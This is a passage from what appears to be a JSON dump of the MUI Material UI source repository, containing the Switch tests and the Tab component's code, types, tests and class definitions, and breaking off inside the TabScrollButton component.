    "content": "import { expect } from 'chai';\nimport { act, createRenderer, fireEvent, screen } from '@mui/internal-test-utils';\nimport Switch, { switchClasses as classes } from '@mui/material/Switch';\nimport FormControl from '@mui/material/FormControl';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Switch />', () => {\n  const { render } = createRenderer();\n\n  function CustomSwitchBase({ centerRipple, focusRipple, ownerState, ...props }) {\n    return <div data-testid=\"custom\" {...props} />;\n  }\n\n  describeConformance(<Switch />, () => ({\n    classes,\n    render,\n    muiName: 'MuiSwitch',\n    testDeepOverrides: [\n      { slotName: 'track', slotClassName: classes.track },\n      { slotName: 'input', slotClassName: classes.input },\n    ],\n    slots: {\n      root: {\n        expectedClassName: classes.root,\n      },\n      track: {\n        expectedClassName: classes.track,\n      },\n      thumb: {\n        expectedClassName: classes.thumb,\n      },\n      switchBase: {\n        expectedClassName: classes.switchBase,\n        testWithElement: CustomSwitchBase,\n      },\n      input: {\n        expectedClassName: classes.input,\n      },\n    },\n    refInstanceof: window.HTMLSpanElement,\n    skip: [\n      'componentProp',\n      'themeDefaultProps',\n      'themeVariants',\n      // Props are spread to the root's child but className is added to the root\n      // We cannot use the standard mergeClassName test which relies on data-testid on the root\n      // We should fix this when refactoring with Base UI\n      'mergeClassName',\n    ],\n  }));\n\n  describe('styleSheet', () => {\n    it('should have the classes required for SwitchBase', () => {\n      expect(classes).to.include.all.keys(['root', 'checked', 'disabled']);\n    });\n  });\n\n  it('should render an .thumb element inside the .switchBase element', () => {\n    const { container } = render(\n      <Switch classes={{ thumb: 'thumb', switchBase: 'switch-base' }} />,\n    );\n\n    expect(container.querySelector('.switch-base .thumb')).not.to.equal(null);\n  });\n\n  it('should render the track as the 2nd child', () => {\n    const {\n      container: { firstChild: root },\n    } = render(<Switch />);\n\n    expect(root.childNodes[1]).to.have.property('tagName', 'SPAN');\n    expect(root.childNodes[1]).to.have.class(classes.track);\n  });\n\n  it('renders a `role=\"switch\"` with the Unchecked state by default', () => {\n    render(<Switch />);\n\n    expect(screen.getByRole('switch')).to.have.property('checked', false);\n  });\n\n  it('renders a switch with the Checked state when checked', () => {\n    render(<Switch defaultChecked />);\n\n    expect(screen.getByRole('switch')).to.have.property('checked', true);\n  });\n\n  it('the switch can be disabled', () => {\n    render(<Switch disabled />);\n\n    expect(screen.getByRole('switch')).to.have.property('disabled', true);\n  });\n\n  it('the switch can be readonly', () => {\n    render(<Switch readOnly />);\n\n    expect(screen.getByRole('switch')).to.have.property('readOnly', true);\n  });\n\n  it('renders a custom icon when provided', () => {\n    render(<Switch icon={<span data-testid=\"icon\" />} />);\n\n    expect(screen.getByTestId('icon')).toBeVisible();\n  });\n\n  it('renders a custom checked icon when provided', () => {\n    render(<Switch defaultChecked checkedIcon={<span data-testid=\"icon\" />} />);\n\n    expect(screen.getByTestId('icon')).toBeVisible();\n  });\n\n  it('the Checked state changes after change events', () => {\n    render(<Switch defaultChecked />);\n\n    // how a user would trigger it\n    act(() => {\n      screen.getByRole('switch').click();\n    });\n    fireEvent.change(screen.getByRole('switch'), { target: { checked: '' } });\n\n    expect(screen.getByRole('switch')).to.have.property('checked', false);\n  });\n\n  it('should not show warnings when custom `type` is provided', () => {\n    expect(() => render(<Switch type=\"submit\" />)).not.toErrorDev();\n  });\n\n  describe('with FormControl', () => {\n    describe('enabled', () => {\n      it('should not have the disabled class', () => {\n        render(\n          <FormControl>\n            <Switch />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('switch')).not.to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl>\n            <Switch disabled />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('switch')).to.have.attribute('disabled');\n      });\n    });\n\n    describe('disabled', () => {\n      it('should have the disabled class', () => {\n        render(\n          <FormControl disabled>\n            <Switch />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('switch')).to.have.attribute('disabled');\n      });\n\n      it('should be overridden by props', () => {\n        render(\n          <FormControl disabled>\n            <Switch disabled={false} />\n          </FormControl>,\n        );\n\n        expect(screen.getByRole('switch')).not.to.have.attribute('disabled');\n      });\n    });\n  });\n\n  describe('mergeClassName', () => {\n    it('should merge the className', () => {\n      const { container } = render(<Switch className=\"test-class-name\" />);\n\n      expect(container.firstChild).to.have.class('test-class-name');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Switch/index.d.ts",
    "content": "export { default } from './Switch';\nexport * from './Switch';\n\nexport { default as switchClasses } from './switchClasses';\nexport * from './switchClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Switch/index.js",
    "content": "export { default } from './Switch';\n\nexport { default as switchClasses } from './switchClasses';\nexport * from './switchClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Switch/switchClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface SwitchClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `edge=\"start\"`. */\n  edgeStart: string;\n  /** Styles applied to the root element if `edge=\"end\"`. */\n  edgeEnd: string;\n  /** Styles applied to the internal `SwitchBase` component's `root` class. */\n  switchBase: string;\n  /** Styles applied to the internal SwitchBase component's root element if `color=\"primary\"`. */\n  colorPrimary: string;\n  /** Styles applied to the internal SwitchBase component's root element if `color=\"secondary\"`. */\n  colorSecondary: string;\n  /** Styles applied to the root element if `size=\"small\"`. */\n  sizeSmall: string;\n  /** Styles applied to the root element if `size=\"medium\"`. */\n  sizeMedium: string;\n  /** State class applied to the internal `SwitchBase` component's `checked` class. */\n  checked: string;\n  /** State class applied to the internal SwitchBase component's disabled class. */\n  disabled: string;\n  /** Styles applied to the internal SwitchBase component's input element. */\n  input: string;\n  /** Styles used to create the thumb passed to the internal `SwitchBase` component `icon` prop. */\n  thumb: string;\n  /** Styles applied to the track element. */\n  track: string;\n}\n\nexport type SwitchClassKey = keyof SwitchClasses;\n\nexport function getSwitchUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiSwitch', slot);\n}\n\nconst switchClasses: SwitchClasses = generateUtilityClasses('MuiSwitch', [\n  'root',\n  'edgeStart',\n  'edgeEnd',\n  'switchBase',\n  'colorPrimary',\n  'colorSecondary',\n  'sizeSmall',\n  'sizeMedium',\n  'checked',\n  'disabled',\n  'input',\n  'thumb',\n  'track',\n]);\n\nexport default switchClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Tab/Tab.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { Theme } from '../styles';\nimport { ExtendButtonBase, ExtendButtonBaseTypeMap } from '../ButtonBase';\nimport { OverrideProps } from '../OverridableComponent';\nimport { TabClasses } from './tabClasses';\n\nexport interface TabOwnProps {\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children?: null | undefined;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TabClasses> | undefined;\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple?: boolean | undefined;\n  /**\n   * The icon to display.\n   */\n  icon?: string | React.ReactElement<unknown> | undefined;\n  /**\n   * The position of the icon relative to the label.\n   * @default 'top'\n   */\n  iconPosition?: 'top' | 'bottom' | 'start' | 'end' | undefined;\n  /**\n   * The label element.\n   */\n  label?: React.ReactNode;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n  /**\n   * You can provide your own value. Otherwise, we fallback to the child position index.\n   */\n  value?: any;\n  /**\n   * Tab labels appear in a single row.\n   * They can use a second line if needed.\n   * @default false\n   */\n  wrapped?: boolean | undefined;\n}\n\nexport type TabTypeMap<\n  AdditionalProps = {},\n  RootComponent extends React.ElementType = 'div',\n> = ExtendButtonBaseTypeMap<{\n  props: AdditionalProps & TabOwnProps;\n  defaultComponent: RootComponent;\n}>;\n\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [Tab API](https://next.mui.com/material-ui/api/tab/)\n * - inherits [ButtonBase API](https://next.mui.com/material-ui/api/button-base/)\n */\ndeclare const Tab: ExtendButtonBase<TabTypeMap>;\n\nexport type TabProps<\n  RootComponent extends React.ElementType = TabTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<TabTypeMap<AdditionalProps, RootComponent>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Tab;\n"
  },
  {
    "path": "packages/mui-material/src/Tab/Tab.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport ButtonBase from '../ButtonBase';\nimport capitalize from '../utils/capitalize';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport unsupportedProp from '../utils/unsupportedProp';\nimport tabClasses, { getTabUtilityClass } from './tabClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, textColor, fullWidth, wrapped, icon, label, selected, disabled } = ownerState;\n\n  const slots = {\n    root: [\n      'root',\n      icon && label && 'labelIcon',\n      `textColor${capitalize(textColor)}`,\n      fullWidth && 'fullWidth',\n      wrapped && 'wrapped',\n      selected && 'selected',\n      disabled && 'disabled',\n    ],\n    icon: ['icon'],\n  };\n\n  return composeClasses(slots, getTabUtilityClass, classes);\n};\n\nconst TabRoot = styled(ButtonBase, {\n  name: 'MuiTab',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [\n      styles.root,\n      ownerState.label && ownerState.icon && styles.labelIcon,\n      styles[`textColor${capitalize(ownerState.textColor)}`],\n      ownerState.fullWidth && styles.fullWidth,\n      ownerState.wrapped && styles.wrapped,\n      {\n        [`& .${tabClasses.icon}`]: styles.icon,\n      },\n    ];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    ...theme.typography.button,\n    maxWidth: 360,\n    minWidth: 90,\n    position: 'relative',\n    minHeight: 48,\n    flexShrink: 0,\n    padding: '12px 16px',\n    overflow: 'hidden',\n    whiteSpace: 'normal',\n    textAlign: 'center',\n    lineHeight: 1.25,\n    variants: [\n      {\n        props: ({ ownerState }) =>\n          ownerState.label &&\n          (ownerState.iconPosition === 'top' || ownerState.iconPosition === 'bottom'),\n        style: {\n          flexDirection: 'column',\n        },\n      },\n      {\n        props: ({ ownerState }) =>\n          ownerState.label &&\n          ownerState.iconPosition !== 'top' &&\n          ownerState.iconPosition !== 'bottom',\n        style: {\n          flexDirection: 'row',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.icon && ownerState.label,\n        style: {\n          minHeight: 72,\n          paddingTop: 9,\n          paddingBottom: 9,\n        },\n      },\n      {\n        props: ({ ownerState, iconPosition }) =>\n          ownerState.icon && ownerState.label && iconPosition === 'top',\n        style: {\n          [`& > .${tabClasses.icon}`]: {\n            marginBottom: 6,\n          },\n        },\n      },\n      {\n        props: ({ ownerState, iconPosition }) =>\n          ownerState.icon && ownerState.label && iconPosition === 'bottom',\n        style: {\n          [`& > .${tabClasses.icon}`]: {\n            marginTop: 6,\n          },\n        },\n      },\n      {\n        props: ({ ownerState, iconPosition }) =>\n          ownerState.icon && ownerState.label && iconPosition === 'start',\n        style: {\n          [`& > .${tabClasses.icon}`]: {\n            marginRight: theme.spacing(1),\n          },\n        },\n      },\n      {\n        props: ({ ownerState, iconPosition }) =>\n          ownerState.icon && ownerState.label && iconPosition === 'end',\n        style: {\n          [`& > .${tabClasses.icon}`]: {\n            marginLeft: theme.spacing(1),\n          },\n        },\n      },\n      {\n        props: {\n          textColor: 'inherit',\n        },\n        style: {\n          color: 'inherit',\n          opacity: 0.6, // same opacity as theme.palette.text.secondary\n          [`&.${tabClasses.selected}`]: {\n            opacity: 1,\n          },\n          [`&.${tabClasses.disabled}`]: {\n            opacity: (theme.vars || theme).palette.action.disabledOpacity,\n          },\n        },\n      },\n      {\n        props: {\n          textColor: 'primary',\n        },\n        style: {\n          color: (theme.vars || theme).palette.text.secondary,\n          [`&.${tabClasses.selected}`]: {\n            color: (theme.vars || theme).palette.primary.main,\n          },\n          [`&.${tabClasses.disabled}`]: {\n            color: (theme.vars || theme).palette.text.disabled,\n          },\n        },\n      },\n      {\n        props: {\n          textColor: 'secondary',\n        },\n        style: {\n          color: (theme.vars || theme).palette.text.secondary,\n          [`&.${tabClasses.selected}`]: {\n            color: (theme.vars || theme).palette.secondary.main,\n          },\n          [`&.${tabClasses.disabled}`]: {\n            color: (theme.vars || theme).palette.text.disabled,\n          },\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.fullWidth,\n        style: {\n          flexShrink: 1,\n          flexGrow: 1,\n          flexBasis: 0,\n          maxWidth: 'none',\n        },\n      },\n      {\n        props: ({ ownerState }) => ownerState.wrapped,\n        style: {\n          fontSize: theme.typography.pxToRem(12),\n        },\n      },\n    ],\n  })),\n);\n\nconst Tab = React.forwardRef(function Tab(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTab' });\n  const {\n    className,\n    disabled = false,\n    disableFocusRipple = false,\n    // eslint-disable-next-line react/prop-types\n    fullWidth,\n    icon: iconProp,\n    iconPosition = 'top',\n    // eslint-disable-next-line react/prop-types\n    indicator,\n    label,\n    onChange,\n    onClick,\n    onFocus,\n    // eslint-disable-next-line react/prop-types\n    selected,\n    // eslint-disable-next-line react/prop-types\n    selectionFollowsFocus,\n    // eslint-disable-next-line react/prop-types\n    textColor = 'inherit',\n    value,\n    wrapped = false,\n    ...other\n  } = props;\n\n  const ownerState = {\n    ...props,\n    disabled,\n    disableFocusRipple,\n    selected,\n    icon: !!iconProp,\n    iconPosition,\n    label: !!label,\n    fullWidth,\n    textColor,\n    wrapped,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n  const icon =\n    iconProp && label && React.isValidElement(iconProp)\n      ? React.cloneElement(iconProp, {\n          className: clsx(classes.icon, iconProp.props.className),\n        })\n      : iconProp;\n  const handleClick = (event) => {\n    if (!selected && onChange) {\n      onChange(event, value);\n    }\n\n    if (onClick) {\n      onClick(event);\n    }\n  };\n\n  const handleFocus = (event) => {\n    if (selectionFollowsFocus && !selected && onChange) {\n      onChange(event, value);\n    }\n\n    if (onFocus) {\n      onFocus(event);\n    }\n  };\n\n  return (\n    <TabRoot\n      internalNativeButton\n      focusRipple={!disableFocusRipple}\n      className={clsx(classes.root, className)}\n      ref={ref}\n      role=\"tab\"\n      aria-selected={selected}\n      disabled={disabled}\n      onClick={handleClick}\n      onFocus={handleFocus}\n      ownerState={ownerState}\n      {...other}\n    >\n      {iconPosition === 'top' || iconPosition === 'start' ? (\n        <React.Fragment>\n          {icon}\n          {label}\n        </React.Fragment>\n      ) : (\n        <React.Fragment>\n          {label}\n          {icon}\n        </React.Fragment>\n      )}\n\n      {indicator}\n    </TabRoot>\n  );\n});\n\nTab.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * This prop isn't supported.\n   * Use the `component` prop if you need to change the children structure.\n   */\n  children: unsupportedProp,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  /**\n   * If `true`, the  keyboard focus ripple is disabled.\n   * @default false\n   */\n  disableFocusRipple: PropTypes.bool,\n  /**\n   * If `true`, the ripple effect is disabled.\n   *\n   * ⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure\n   * to highlight the element by applying separate styles with the `.Mui-focusVisible` class.\n   * @default false\n   */\n  disableRipple: PropTypes.bool,\n  /**\n   * The icon to display.\n   */\n  icon: PropTypes.oneOfType([PropTypes.element, PropTypes.string]),\n  /**\n   * The position of the icon relative to the label.\n   * @default 'top'\n   */\n  iconPosition: PropTypes.oneOf(['bottom', 'end', 'start', 'top']),\n  /**\n   * The label element.\n   */\n  label: PropTypes.node,\n  /**\n   * @ignore\n   */\n  onChange: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onClick: PropTypes.func,\n  /**\n   * @ignore\n   */\n  onFocus: PropTypes.func,\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n  /**\n   * You can provide your own value. Otherwise, we fallback to the child position index.\n   */\n  value: PropTypes.any,\n  /**\n   * Tab labels appear in a single row.\n   * They can use a second line if needed.\n   * @default false\n   */\n  wrapped: PropTypes.bool,\n};\n\nexport default Tab;\n"
  },
  {
    "path": "packages/mui-material/src/Tab/Tab.test.js",
    "content": "import * as React from 'react';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport { createRenderer, simulatePointerDevice, screen, isJsdom } from '@mui/internal-test-utils';\nimport Tab, { tabClasses as classes } from '@mui/material/Tab';\nimport ButtonBase from '@mui/material/ButtonBase';\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport describeConformance from '../../test/describeConformance';\nimport * as ripple from '../../test/ripple';\n\ndescribe('<Tab />', () => {\n  const { render } = createRenderer();\n\n  describeConformance(<Tab textColor=\"inherit\" />, () => ({\n    classes,\n    inheritComponent: ButtonBase,\n    render,\n    muiName: 'MuiTab',\n    testVariantProps: { variant: 'foo' },\n    refInstanceof: window.HTMLButtonElement,\n    skip: ['componentProp'],\n  }));\n\n  it('should have a ripple', async () => {\n    const { container } = render(<Tab TouchRippleProps={{ className: 'touch-ripple' }} />);\n    await ripple.startTouch(container.querySelector('button'));\n    expect(container.querySelector('.touch-ripple')).not.to.equal(null);\n  });\n\n  it('can disable the ripple', async () => {\n    const { container } = render(\n      <Tab disableRipple TouchRippleProps={{ className: 'touch-ripple' }} />,\n    );\n\n    await ripple.startTouch(container.querySelector('button'));\n    expect(container.querySelector('.touch-ripple')).to.equal(null);\n  });\n\n  // JSDOM doesn't support :focus-visible\n  it.skipIf(isJsdom())('should have a focusRipple', async function test() {\n    const { container } = render(\n      <Tab TouchRippleProps={{ classes: { ripplePulsate: 'focus-ripple' } }} />,\n    );\n    simulatePointerDevice();\n\n    await ripple.startFocus(container.querySelector('button'));\n\n    expect(container.querySelector('.focus-ripple')).not.to.equal(null);\n  });\n\n  it('can disable the focusRipple', async () => {\n    const { container } = render(\n      <Tab disableFocusRipple TouchRippleProps={{ classes: { ripplePulsate: 'focus-ripple' } }} />,\n    );\n    simulatePointerDevice();\n\n    await ripple.startFocus(container.querySelector('button'));\n\n    expect(container.querySelector('.focus-ripple')).to.equal(null);\n  });\n\n  describe('prop: selected', () => {\n    it('should render with the selected and root classes', () => {\n      render(<Tab selected textColor=\"secondary\" />);\n\n      const tab = screen.getByRole('tab');\n      expect(tab).to.have.class(classes.root);\n      expect(tab).to.have.class(classes.selected);\n      expect(tab).to.have.class(classes.textColorSecondary);\n      expect(tab).to.have.attribute('aria-selected', 'true');\n    });\n  });\n\n  describe('prop: disabled', () => {\n    it('should render with the disabled and root classes', () => {\n      render(<Tab disabled textColor=\"secondary\" />);\n\n      const tab = screen.getByRole('tab');\n      expect(tab).to.have.class(classes.root);\n      expect(tab).to.have.class(classes.disabled);\n      expect(tab).to.have.class(classes.textColorSecondary);\n    });\n  });\n\n  describe('prop: onClick', () => {\n    it('should be called when a click is triggered', () => {\n      const handleClick = spy();\n      render(<Tab onClick={handleClick} />);\n\n      screen.getByRole('tab').click();\n\n      expect(handleClick.callCount).to.equal(1);\n    });\n  });\n\n  describe('prop: label', () => {\n    it('should render label', () => {\n      render(<Tab label=\"foo\" />);\n\n      expect(screen.getByRole('tab')).to.have.text('foo');\n    });\n  });\n\n  describe('prop: wrapped', () => {\n    it('should add the wrapped class', () => {\n      render(<Tab wrapped />);\n\n      expect(screen.getByRole('tab')).to.have.class(classes.wrapped);\n    });\n  });\n\n  describe('prop: icon', () => {\n    it('should render icon element', () => {\n      render(<Tab icon={<div data-testid=\"icon\" />} />);\n\n      expect(screen.getByTestId('icon')).not.to.equal(null);\n    });\n\n    it('should add a classname when passed together with label', () => {\n      render(<Tab icon={<div className=\"test-icon\" />} label=\"foo\" />);\n      const wrapper = screen.getByRole('tab').children[0];\n      expect(wrapper).to.have.class(classes.icon);\n      expect(wrapper).to.have.class('test-icon');\n    });\n\n    it('should have bottom margin when passed together with label', () => {\n      render(<Tab icon={<div />} label=\"foo\" />);\n      const wrapper = screen.getByRole('tab').children[0];\n      expect(wrapper).toHaveComputedStyle({ marginBottom: '6px' });\n    });\n  });\n\n  describe('prop: textColor', () => {\n    it('should support the inherit value', () => {\n      render(<Tab selected textColor=\"inherit\" />);\n\n      const tab = screen.getByRole('tab');\n      expect(tab).to.have.class(classes.selected);\n      expect(tab).to.have.class(classes.textColorInherit);\n      expect(tab).to.have.class(classes.root);\n    });\n  });\n\n  describe('prop: fullWidth', () => {\n    it('should have the fullWidth class', () => {\n      render(<Tab fullWidth />);\n\n      expect(screen.getByRole('tab')).to.have.class(classes.fullWidth);\n    });\n  });\n\n  describe('prop: style', () => {\n    it('should be able to override everything', () => {\n      render(<Tab fullWidth style={{ width: '80%', color: 'red', alignText: 'center' }} />);\n\n      const { style } = screen.getByRole('tab');\n      expect(style).to.have.property('width', '80%');\n      expect(style).to.have.property('color', 'red');\n      expect(style).to.have.property('alignText', 'center');\n    });\n  });\n\n  it.skipIf(isJsdom())('should apply icon styles from theme', function test() {\n    const theme = createTheme({\n      components: {\n        MuiTab: {\n          styleOverrides: {\n            icon: {\n              backgroundColor: 'rgb(0, 0, 255)',\n            },\n          },\n        },\n      },\n    });\n\n    render(\n      <ThemeProvider theme={theme}>\n        <Tab icon={<div>hello</div>} label=\"icon\" />\n      </ThemeProvider>,\n    );\n\n    const icon = screen.getByRole('tab').querySelector(`.${classes.icon}`);\n    expect(icon).toHaveComputedStyle({\n      backgroundColor: 'rgb(0, 0, 255)',\n    });\n  });\n\n  describe('prop: nativeButton', () => {\n    it('forwards nativeButton={false} and preserves role=\"tab\" over pseudo-button role', () => {\n      const CustomSpan = React.forwardRef((props, ref) => <span ref={ref} {...props} />);\n      const errorSpy = vi.spyOn(console, 'error').mockImplementation(() => {});\n\n      render(<Tab component={CustomSpan} nativeButton={false} />);\n\n      const tab = screen.getByRole('tab');\n      expect(tab).to.have.tagName('SPAN');\n      expect(tab).to.have.attribute('role', 'tab');\n      expect(tab).not.to.have.attribute('type');\n\n      // Proves nativeButton={false} was forwarded — without it, ButtonBase\n      // would warn about a non-button host with nativeButton omitted.\n      expect(errorSpy.mock.calls.length).to.equal(0);\n      errorSpy.mockRestore();\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/Tab/index.d.ts",
    "content": "export { default } from './Tab';\nexport * from './Tab';\n\nexport { default as tabClasses } from './tabClasses';\nexport * from './tabClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tab/index.js",
    "content": "export { default } from './Tab';\n\nexport { default as tabClasses } from './tabClasses';\nexport * from './tabClasses';\n"
  },
  {
    "path": "packages/mui-material/src/Tab/tabClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface TabClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if both `icon` and `label` are provided. */\n  labelIcon: string;\n  /** Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\"inherit\"`. */\n  textColorInherit: string;\n  /** Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\"primary\"`. */\n  textColorPrimary: string;\n  /** Styles applied to the root element if the parent [`Tabs`](/material-ui/api/tabs/) has `textColor=\"secondary\"`. */\n  textColorSecondary: string;\n  /** State class applied to the root element if `selected={true}` (controlled by the Tabs component). */\n  selected: string;\n  /** State class applied to the root element if `disabled={true}` (controlled by the Tabs component). */\n  disabled: string;\n  /** Styles applied to the root element if `fullWidth={true}` (controlled by the Tabs component). */\n  fullWidth: string;\n  /** Styles applied to the root element if `wrapped={true}`. */\n  wrapped: string;\n  /** Styles applied to the `icon` HTML element if both `icon` and `label` are provided. */\n  icon: string;\n}\n\nexport type TabClassKey = keyof TabClasses;\n\nexport function getTabUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiTab', slot);\n}\n\nconst tabClasses: TabClasses = generateUtilityClasses('MuiTab', [\n  'root',\n  'labelIcon',\n  'textColorInherit',\n  'textColorPrimary',\n  'textColorSecondary',\n  'selected',\n  'disabled',\n  'fullWidth',\n  'wrapped',\n  'icon',\n]);\n\nexport default tabClasses;\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/TabScrollButton.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { SlotComponentProps } from '../utils/types';\nimport { ButtonBaseProps } from '../ButtonBase';\nimport { Theme } from '../styles';\nimport SvgIcon from '../SvgIcon';\nimport { TabScrollButtonClasses } from './tabScrollButtonClasses';\n\nexport interface TabScrollButtonStartIconSlotPropsOverrides {}\nexport interface TabScrollButtonEndIconSlotPropsOverrides {}\n\nexport interface TabScrollButtonOwnerState extends TabScrollButtonProps {\n  isRtl: boolean;\n}\n\nexport interface TabScrollButtonProps extends Omit<ButtonBaseProps, 'nativeButton'> {\n  /**\n   * The content of the component.\n   */\n  children?: React.ReactNode;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<TabScrollButtonClasses> | undefined;\n  /**\n   * The components used for each slot inside.\n   * @default {}\n   */\n  slots?:\n    | {\n        StartScrollButtonIcon?: React.ElementType | undefined;\n        EndScrollButtonIcon?: React.ElementType | undefined;\n      }\n    | undefined;\n  /**\n   * The extra props for the slot components.\n   * You can override the existing props or add new ones.\n   * @default {}\n   */\n  slotProps?:\n    | {\n        startScrollButtonIcon?:\n          | SlotComponentProps<\n              typeof SvgIcon,\n              TabScrollButtonStartIconSlotPropsOverrides,\n              TabScrollButtonOwnerState\n            >\n          | undefined;\n        endScrollButtonIcon?:\n          | SlotComponentProps<\n              typeof SvgIcon,\n              TabScrollButtonEndIconSlotPropsOverrides,\n              TabScrollButtonOwnerState\n            >\n          | undefined;\n      }\n    | undefined;\n  /**\n   * The direction the button should indicate.\n   */\n  direction: 'left' | 'right';\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled?: boolean | undefined;\n  /**\n   * The component orientation (layout flow direction).\n   */\n  orientation: 'horizontal' | 'vertical';\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\n/**\n *\n * Demos:\n *\n * - [Tabs](https://next.mui.com/material-ui/react-tabs/)\n *\n * API:\n *\n * - [TabScrollButton API](https://next.mui.com/material-ui/api/tab-scroll-button/)\n */\nexport default function TabScrollButton(props: TabScrollButtonProps): React.JSX.Element;\n"
  },
  {
    "path": "packages/mui-material/src/TabScrollButton/TabScrollButton.js",
    "content": "'use client';\n/* eslint-disable jsx-a11y/aria-role */\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport composeClasses from '@mui/utils/composeClasses';\nimport { useRtl } from '@mui/system/RtlProvider';\nimport useSlotProps from '@mui/utils/useSlotProps';\nimport KeyboardArrowLeft from '../internal/svg-icons/KeyboardArrowLeft';\nimport KeyboardArrowRight from '../internal/svg-icons/KeyboardArrowRight';\nimport ButtonBase from '../ButtonBase';\nimport { styled } from '../zero-styled';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport tabScrollButtonClasses, { getTabScrollButtonUtilityClass } from './tabScrollButtonClasses';\n\nconst useUtilityClasses = (ownerState) => {\n  const { classes, orientation, disabled } = ownerState;\n\n  const slots = {\n    root: ['root', orientation, disabled && 'disabled'],\n  };\n\n  return composeClasses(slots, getTabScrollButtonUtilityClass, classes);\n};\n\nconst TabScrollButtonRoot = styled(ButtonBase, {\n  name: 'MuiTabScrollButton',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, ownerState.orientation && styles[ownerState.orientation]];\n  },\n})({\n  width: 40,\n  flexShrink: 0,\n  opacity: 0.8,\n  [`&.${tabScrollButtonClasses.disabled}`]: {\n    opacity: 0,\n  },\n  variants: [\n    {\n      props: {\n        orientation: 'vertical',\n      },\n      style: {\n        width: '100%',\n        height: 40,\n        '& svg': {\n          transform: 'var(--TabScrollButton-svgRotate)',\n        },\n      },\n    },\n  ],\n});\n\nconst TabScrollButton = React.forwardRef(function TabScrollButton(inProps, ref) {\n  const props = useDefaultProps({ props: inProps, name: 'MuiTabScrollButton' });\n  const {\n    className,\n    slots = {},\n    slotProps = {},\n    direction,\n    orientation,\n    disabled,\n    ...other\n  } = props;\n  const { nativeButton, ...buttonBaseProps } = other;\n\n  const isRtl = useRtl();\n\n  const ownerState = { isRtl, ...props };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const StartButtonIcon = slots.StartScrollButtonIcon ?? KeyboardArrowLeft;\n  const EndButtonIcon = slots.EndScrollButtonIcon ?? KeyboardArrowRight;\n\n  const startButtonIconProps = useSlotProps({\n    elementType: StartButtonIcon,\n 